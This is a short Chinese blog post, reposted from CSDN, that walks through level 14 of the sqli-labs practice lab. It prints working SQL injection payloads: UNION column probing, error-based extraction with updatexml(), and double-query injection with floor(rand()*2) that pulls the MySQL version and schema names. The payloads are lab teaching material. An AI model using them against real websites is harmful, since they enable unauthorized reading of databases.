标签：14 union labs sqli 报错 schemata 注入 select schema
进行了一系列的试探，发现输入双引号后报错，通过这个报错信息基本可以确定为双引号闭合语句。如果不放心，可以在输入双引号加括号进行试探。
判断列数：
" union select 1 --+ 报错：The used SELECT statements have a different number of columns
" union select 1,2 --+ 不报错，并且也不返回输出内容。
唯一可以输出内容的地方就是报错信息，所以可以使用报错注入和双注入 进行测试。
报错注入：
先进行试探看能不能报出信息：
" union select 1,updatexml(1,(select concat(0x7e,version())),1) --+
从下图可知，可以报出MySQL版本信息。
接下来进行注入：
" union select 1,updatexml(1,(select concat(0x7e,schema_name) from information_schema.schemata limit 2,1),1) --+
updatexml（）函数有三个参数，第二参数会报错，第一个和第三个参数设置为数值1即可。
双注入
在进行双注入时如果不报错，就多发送几次请求就会有报错信息了。
uname=1111" union select 1,count(1) from information_schema.schemata group by concat(floor(rand()*2),0x7e,(select schema_name from information_schema.schemata limit 1,1)) --+
三哥_DH
发布了12 篇原创文章 · 获赞 2 · 访问量 73
私信
关注
标签：14,union,labs,sqli,报错,schemata,注入,select,schema 来源： https://blog.csdn.net/Xiaoxiaoqiang_/article/details/104614981
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。